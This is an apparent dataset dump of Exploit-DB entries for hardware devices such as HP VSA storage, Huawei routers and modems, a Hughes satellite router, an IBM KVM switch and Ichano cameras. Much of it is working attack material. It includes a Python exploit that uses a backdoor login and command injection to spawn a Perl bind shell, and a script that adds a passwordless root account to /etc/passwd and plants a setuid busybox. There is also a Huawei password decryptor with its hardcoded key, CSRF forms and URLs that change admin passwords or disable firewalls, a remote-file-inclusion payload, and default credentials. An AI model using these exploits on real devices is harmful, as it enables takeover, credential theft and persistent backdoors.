deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18893
Description: HP VSA - Remote Command Execution
Type: remote
Platform: hardware
Date: 2012-02-17
Author: Nicolas Gregoire

Exploit:
#!/usr/bin/python

''' ==================================
          Pseudo documentation 
================================== '''

# HP VSA / SANiQ Hydra client
# Nicolas Grégoire <nicolas.gregoire@agarri.fr>
# v0.5

''' ==================================
          Target information
================================== '''

HOST = '192.168.201.11'	# The remote host
PORT = 13838		# The hydra port

''' ==================================
             Imports 
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os

''' ==================================
        Define functions
================================== '''

# Some nice formatting
def zprint(str):
	print '[=] ' + str

# Define packets
def send_Exec():
	zprint('Send Exec')
	
	# RESTRICTIONS
	# You can't use "/" in the payload
	# No Netcat/Ruby/PHP, but telnet/bash/perl are available

	# METASPLOIT PAYLOAD
	cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

	# COMMAND INJECTION BUG
	data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

	# EXPLOIT
	zprint('Now connect to port 12345 of machine ' + str(HOST))
	send_packet(data)

def send_Login():
	zprint('Send Login')
	data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
	send_packet(data)

# Define the sending function
def send_packet(message):

	# Add header
	ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
	ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
	message = message + '\x00'
	data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

	# Send & receive
	s.send(data)
	data = s.recv(1024)
	zprint('Received : [' + data + ']')

''' ==================================
           Main code
================================== '''

# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Attack !
send_Login()
send_Exec()

# Deconnect
s.close

# Exit
zprint('Exit')
Exploit-DB #38020
Description: Huawei (Multiple Products) - Password Encryption
Type: remote
Platform: hardware
Date: 2012-11-13
Author: Roberto Paleari

Exploit:
source: https://www.securityfocus.com/bid/56510/info

Multiple Huawei products are prone to a weak password encryption weakness.

Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks.

The following are vulnerable:

Huawei Quidway series
Huawei CX600 V600R001
Huawei CX600 V600R003C00SPC900
Huawei ME60 V600R002C07 and prior versions
AR 19/29/49 R2207 and prior versions 

from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")
Exploit-DB #39209
Description: Huawei E303 Router - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2014-05-30
Author: Benjamin Daniel Mussler

Exploit:
source: https://www.securityfocus.com/bid/67747/info

Huawei E303 Router is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

Huawei E303 Router running firmware versions CH2E303SM is vulnerable; other versions may also be affected. 

[Proof -of-concept HTTP POST request]:
POST /api/sms/send-sms HTTP/1.1
Host: hi.link
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.8,de-de;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hi.link/
Connection: keep-alive
Content-Type: text/plain
Content-Length: 225

<?xml version="1.0" 
encoding="UTF-8"?><request><Index>-1</Index><Phones><Phone>4422</Phone></Phones><Sca></Sca><Content>
Sample Text</Content><Length>0</Length><Reserved>1</Reserved><Date>2013-12-03 
16:00:00</Date></request>
Exploit-DB #12298
Description: Huawei EchoLife HG520 - Remote Information Disclosure
Type: remote
Platform: hardware
Date: 2010-04-19
Author: hkm

Exploit:
# Exploit Title: Huawei EchoLife HG520 Remote Information Disclosure
# Date: 2010-04-19
# Author: hkm
# Product Link: http://www.huawei.com/mobileweb/en/products/view.do?id=660
# Firmware Versions: 3.10.18.7-1.0.7.0
#                    3.10.18.5-1.0.7.0
#                    3.10.18.4
# Software Versions: V100R001B120Telmex
#                    V100R001B121Telmex
# Exploit Download Link:
# http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33869.tar.gz (HG520_udpinfo.tar.gz)


By sending a specially crafted UDP packet you can remotely obtain the
following information: software and firmware versions, MAC, local and
remote IP, model and PPPoE credentials in clear text.

The files required to reproduce this vulnerability can be downloaded
from:

  http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz

Requires Python, Scapy and Tcpdump. The way you run this program to test
a local modem is:

  ~# python udp520.py

For a remote modem:

  ~# python udp520.py <remoteIP>


* If you can't see the response packet, try using Wireshark.
* If "No module named all" error shows up, install scapy from source.


  hkm

hkm@hakim.ws


 [ Comunidad Underground de Mexico - http://www.underground.org.mx ]
Exploit-DB #33869
Description: Huawei EchoLife HG520 3.10.18.5-1.0.5.0 - Remote Information Disclosure
Type: remote
Platform: hardware
Date: 2010-04-22
Author: hkm

Exploit:
source: https://www.securityfocus.com/bid/39646/info

The Huawei EchoLife HG520 is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

The following Huawei EchoLife HG520 firmware and software versions are vulnerable:
Firmware 3.10.18.7-1.0.7.0, 3.10.18.5-1.0.7.0, 3.10.18.4
Software Versions: V100R001B120Telmex, V100R001B121Telmex 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33869.tar.gz
Exploit-DB #33648
Description: Huawei HG510 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: remote
Platform: hardware
Date: 2010-02-16
Author: Ivan Markovic

Exploit:
source: https://www.securityfocus.com/bid/38261/info

Huawei HG510 is prone to multiple cross-site request-forgery vulnerabilities.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible. 

The following example URI is available:

http://www.example.com/password.cgi?sys[CREDENTIAL_REDACTED]_NEW_PASSWORD
Exploit-DB #38663
Description: Huawei HG630a / HG630a-50 - Default SSH Admin Password on ADSL Modems
Type: remote
Platform: hardware
Date: 2015-11-10
Author: Murat Sahin

Exploit:
# Exploit Title: Huawei HG630a and HG630a-50 Default SSH Admin Password on Adsl Modems
# Date: 10.11.2015
# Exploit Author: Murat Sahin  (@murtshn)
# Vendor Homepage: Huawei
# Version: HG630a and HG630a-50
# Tested on: linux,windows

Adsl modems force you to change admin web interface password. Even though
you can change admin password on the web interface,  the password you
assign does not apply to ssh. So, SSH password always  will be
'Username:admin Password:admin'.

Ex:

*ssh admin@modemIP <admin@192.168.1.1>*
admin@modemIP <admin@192.168.1.1>'s [CREDENTIAL_REDACTED]
PTY allocation request failed on channel 0
------------------------------
-
-----Welcome to ATP Cli------
-------------------------------
ATP>?
?
cls
debug
help
save
?
exit
ATP>shell
shell


BusyBox vv1.9.1 (2013-12-31 16:16:20 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /proc/version
cat /proc/version
Linux version 2.6.30 (y00179387@localhost) (gcc version 4.4.2
(Buildroot 2010.02-git) ) #10 SMP PREEMPT Tue Dec 31 16:20:50 CST 2013
#
Exploit-DB #9503
Description: Huawei SmartAX MT880 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-08-24
Author: Jerome Athias

Exploit:
Description:
Huawei MT880 is a device offered by the algerian telecom operator -
FAWRI, to provide ADSL Internet connexion and it's already widely in use.
Overview:
Huawei MT880 firmware and its default configuration has flaws, which
allows LAN users to gain unauthorized full access to device.

Here are just limited PoCs.

Default credentials on the web-based management interface:

admin/admin

Possible XSRFs:

Adding an administrator user:
http://admin:admin@192.168.1.1/Action?user_id=jerome&priv=1&pass1=jerome&pass2=jerome&id=70


Disabling firewall/anti-DoS... features:
http://admin:admin@192.168.1.1/Action?blacklisting_status=1&bl_list=10&attack_status=0&dos_status=0&id=42&max_tcp=25&max_icmp=25&max_host=70


Adding a MAC address to the whitelist:
http://admin:admin@192.168.1.1/Action?insrcmac66=[PII_REDACTED]3&inblocksrcmac66=1&insrcmac67=[PII_REDACTED]00&inblocksrcmac67=1&insrcmac68=[PII_REDACTED]00&inblocksrcmac68=1&insrcmac69=[PII_REDACTED]00&inblocksrcmac69=1&insrcmac70=[PII_REDACTED]00&inblocksrcmac70=1&insrcmac71=[PII_REDACTED]00&inblocksrcmac71=1&insrcmac72=[PII_REDACTED]00&inblocksrcmac72=1&insrcmac73=[PII_REDACTED]00&inblocksrcmac73=1&insrcmac74=[PII_REDACTED]00&inblocksrcmac74=1&insrcmac75=[PII_REDACTED]00&inblocksrcmac75=1&insrcmac76=[PII_REDACTED]00&inblocksrcmac76=1&insrcmac77=[PII_REDACTED]00&inblocksrcmac77=1&insrcmac78=[PII_REDACTED]00&inblocksrcmac78=1&insrcmac79=[PII_REDACTED]00&inblocksrcmac79=1&insrcmac80=[PII_REDACTED]00&inblocksrcmac80=1&insrcmac81=[PII_REDACTED]00&inblocksrcmac81=1&id=104


Adding an IP address allowed by the firewall:
http://admin:admin@192.168.1.1/Action?ip_1=192&ip_2=168&ip_3=1&ip_4=2&mask_1=255&mask_2=255&mask_3=255&mask_4=255&gateway_1=192&gateway_2=168&gateway_3=1&gateway_4=1&id=7


Over flaws are not covered in this advisory.

Cheers
/JA

# milw0rm.com [2009-08-24]
Exploit-DB #51190
Description: Hughes Satellite Router HX200 v8.3.1.14 -  Remote File Inclusion
Type: remote
Platform: hardware
Date: 2023-04-01
Author: LiquidWorm

Exploit:
Exploit Title: Hughes Satellite Router HX200 v8.3.1.14 -  Remote File Inclusion


Vendor: Hughes Network Systems, LLC
Product web page: https://www.hughes.com
Affected version: HX200 v8.3.1.14
                  HX90 v6.11.0.5
                  HX50L v6.10.0.18
                  HN9460 v8.2.0.48
                  HN7000S v6.9.0.37

Summary: The HX200 is a high-performance satellite router designed to
provide carrier-grade IP services using dynamically assigned high-bandwidth
satellite IP connectivity. The HX200 satellite router provides flexible
Quality of Service (QoS) features that can be tailored to the network
applications at each individual remote router, such as Adaptive Constant
Bit Rate (CBR) bandwidth assignment to deliver high-quality, low jitter
bandwidth for real-time traffic such as Voice over IP (VoIP) or videoconferencing.
With integrated IP features including RIPv1, RIPv2, BGP, DHCP, NAT/PAT,
and DNS Server/Relay functionality, together with a high-performance
satellite modem, the HX200 is a full-featured IP Router with an integrated
high-performance satellite router. The HX200 enables high- performance
IP connectivity for a variety of applications including cellular backhaul,
MPLS extension services, virtual leased line, mobile services and other
high-bandwidth solutions.

Desc: The router contains a cross-frame scripting via remote file inclusion
vulnerability that may potentially be exploited by malicious users to compromise
an affected system. This vulnerability may allow an unauthenticated malicious
user to misuse frames, include JS/HTML code and steal sensitive information
from legitimate users of the application.

Tested on: WindWeb/1.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5743
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5743.php


23.12.2022

--


snippet:///XFSRFI
//
// Hughes Satellite Router RFI/XFS PoC Exploit
// by lqwrm 2022
//

//URL http://TARGET/fs/dynaform/speedtest.html
//Reload target
//window.location.reload()

console.log("Loading Broadband Satellite Browsing Test");

//Add cross-frame file include (http only)
AddURLtoList("http://www.zeroscience.mk/pentest/XSS.svg");

console.log("Calling StartTest()");
StartTest()

//console.log("Calling DoTest()");
//DoTest()

//Unload weapon
//document.getElementById("URLList").remove();
Exploit-DB #19538
Description: Hybrid Networks Cable Broadband Access System 1.0 - Remote Configuration
Type: remote
Platform: hardware
Date: 1999-10-05
Author: KSR[T]

Exploit:
source: https://www.securityfocus.com/bid/695/info

Hybrid Network's cable modems are vulnerable to several different types of attack due to a lack of authentication for the remote administration/configuration system. The cable modems use a protocol called HSMP, which uses UDP as its transport layer protocol. This makes it trivial to spoof packets and possible for hackers to compromise cable-modem subscribers anonymously. The possible consequences of this problem being exploited are very serious and range from denial of service attacks to running arbitrary code on the modem.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19538-1.tar.gz
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19538-2.tar.gz
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19538-3.tar.gz
Exploit-DB #27706
Description: IBM 1754 GCM 1.18.0.22011 - Remote Command Execution
Type: remote
Platform: hardware
Date: 2013-08-19
Author: Alejandro Alvarez Bravo

Exploit:
I. Product description

The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance.


II. Vulnerability information

Impact: Command execution
Remotely exploitable: yes
CVE: 2013-0526
CVS Score: 8.5


III. Vulnerability details

GCM16 (v.1.18.0.22011) and older versions of this KVM switch contain a flaw
that allows a remote authenticated user to execute unauthorized commands as
root.

This flaw exist because webapp variables are not sanitised. In this case,
parameters $count and $size from ping.php allow to create a special crafted
URL to inject text to an exec() so it can be arbitrary used to execute any
command on the KVM embedded linux.


IV. Proof of concept

Following is a simple exploit that lead to root access to the device,
opening a telnet and creating a new user with root permission without
password (sessid and target are hardcoded so it must be changed to work):


#!/usr/bin/python

"""

This exploit for Avocent KVM switch allows to gain root access to embedded
device. SessionId (avctSessionId) is neccesary for this to work, so you
need a valid user. Default user is "Admin" with blank password.

After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su - superb" to gain root

"""

from StringIO import StringIO
import pycurl
import re
sessid = "XXXXXXXXX"
target = "https://ip.of.kvm/ping.php" <https://172.30.30.40/ping.php>

command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd
; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to
device using telnet with user target and pass target, then \"/tmp/su -
superb\""

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, target)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.POSTFIELDS, 'address=255.255.255.255&action=ping&size=56&count=1
; echo *E* ; ' + command + ' ; echo *E*')
c.setopt(c.COOKIE,'avctSessionId=' + sessid)

try:
     c.perform()
     c.close()
except:
     print ""

content = storage.getvalue()
x1 = re.search(r"\*E\*(.*)\*E\*",content)
print x1.group(1).replace("<br />","\n")


V. Vendor Response

IBM released a new firmware that corrects this vulnerability (1.20.0.22575)


VI. Timeline

2013-06-12 - Vendor (IBM PSIRT) notified.
2013-06-12 - Vendor assigns internal ID.
2013-07-02 - Vendor confirms the vulnerability.
2013-08-16 - Vulnerability disclosed and patch released.


VII. External information

Information about this vulnerability (in spanish):
http://www.bitcloud.es/2013/08/vulnerabilidad-en-kvms-gcm1632-de-ibm.html
IBM Security Bulletin:
http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5093509



-- 
--
Alejandro Alvarez Bravo
alex.a.bravo@gmail.com
Exploit-DB #44048
Description: Ichano AtHome IP Cameras - Multiple Vulnerabilities
Type: remote
Platform: hardware
Date: 2017-12-19
Author: SecuriTeam

Exploit:
## Vulnerabilities Summary
The following advisory describes three (3) vulnerabilities found in Ichano IP Cameras.

AtHome Camera is “a remote video surveillance app which turns your personal computer, smart TV/set-top box, smart phone, and tablet into a professional video monitoring system in a minute.”

The vulnerabilities found are:

Hard-coded username and password – telnet
Hard-coded username and password – Web server
Unauthenticated Remote Code Execution

## Credit
An independent security researcher, Tim Carrington, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We tried to contact Ichano since November 21st 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.

CVE: CVE-2017-17761

## Vulnerabilities details

Hard-coded username and password – telnet
The device runs a telnet server at startup with a default password of 123.

Hard-coded username and password – Web server
In /app/www/doc/script/login.js, in the function DoLogin(), client side validation is used to login a user:

```
if($("#UserName").val()=="super_yg"){jumpPage();return}
```

A user can login with these credentials and can then take control of the device over http:

Unauthenticated Remote Code Execution
The device runs “noodles” binary – a service on port 1300 that allows a remote (LAN) unauthenticated user to run arbitrary commands.

The binary has a set of commands he can run – if a user will use the following “protocol”, command to be run is enclosed like html tags, i.e. <system>id</system>, a successful execution results in <system_ack>ok</system_ack>.
Exploit-DB #39138
Description: ICOMM 610 Wireless Modem - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2014-04-12
Author: Blessen Thomas

Exploit:
source: https://www.securityfocus.com/bid/66593/info

ICOMM 610 is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

ICOMM 610 01.01.08.991 and prior are vulnerable. 

<html>
  <!-- CSRF PoC --->
  <body>
    <form action="http://www.example.com/cgi-bin/sysconf.cgi?page=personalize_password.asp&sid=rjPd8QVqvRGX×tamp=[PII_REDACTED]57" method="POST">
      <input type="hidden" name="PasswdEnable" value="on" />
      <input type="hidden" name="New_Passwd" value="test" />
      <input type="hidden" name="Confirm_New_Passwd" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #50836
Description: ICT Protege GX/WX 2.08 - Client-Side SHA1 Password Hash Disclosure
Type: remote
Platform: hardware
Date: 2022-03-22
Author: LiquidWorm

Exploit:
# Exploit Title: ICT Protege GX/WX 2.08 - Client-Side SHA1 Password Hash Disclosure
# Exploit Author: LiquidWorm

Vendor: Integrated Control Technology Ltd.
Product web page: https://www.ict.co
Affected version: GX: Ver: 2.08.1002 K1B3
                      Lib: 04.00.217
                      Int: 2.3.235.J013
                      OS: 2.0.20
                  WX: Ver: 4.00 284 H062
                      App: 02.08.766
                      Lib: 04.00.169
                      Int: 02.2.208

Summary: Protege GX is an enterprise level integrated access control, intrusion
detection and building automation solution with a feature set that is easy to
operate, simple to integrate and effortless to extend. Protege WX is an all-in-one,
web-based, cross-platform system that gives you a fully functional access control
and intrusion detection solution in a fraction of the time of conventional software.
With no software to install, setup is quick and simple. Connect the Controller and
system components, then open a web browser to launch the intuitive wizard-driven
interface which guides you through the process of configuring your system.

Desc: The application is vulnerable to improper access control that allows an
authenticated operator to disclose SHA1 password hashes (client-side) of other
users/operators.

Tested on: Microsoft-WinCE/6.00


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5700
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5700.php


08.02.2022

--


Navigate to http://CONTROLLER_IP/operator.htm

Source:

<p><label id="OperatorPassword">Password</label><input type="password" id="Password" value="" class="narrow" readonly=""> <input type="button" id="ButtonChangeOperatorPassword" class="narrow" style="float: right; margin-right: 23%; width: auto;" onclick="updatePassword('operator');" data-multiselect="disabled" value="Change Password"></p>
...
...
<input type="hidden" id="pswdsha" value="053e98c13fcbd7df3bf3a220088e19c867dfd4cc">
...
Exploit-DB #22532
Description: IKE - Aggressive Mode Shared Secret Hash Leakage
Type: remote
Platform: hardware
Date: 1999-10-02
Author: John Pliam

Exploit:
source: https://www.securityfocus.com/bid/7423/info

When a VPN is configured to use a pre-shared master secret and a client attempts to negotiate keys in aggressive mode, a hash of the secret is transmitted across the network in clear-text. This may result in the hash being leaked to eavesdroppers or malicious clients. An offline brute-force attack on this hash may then be performed to obtain the clear-text secret. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22532.tar.gz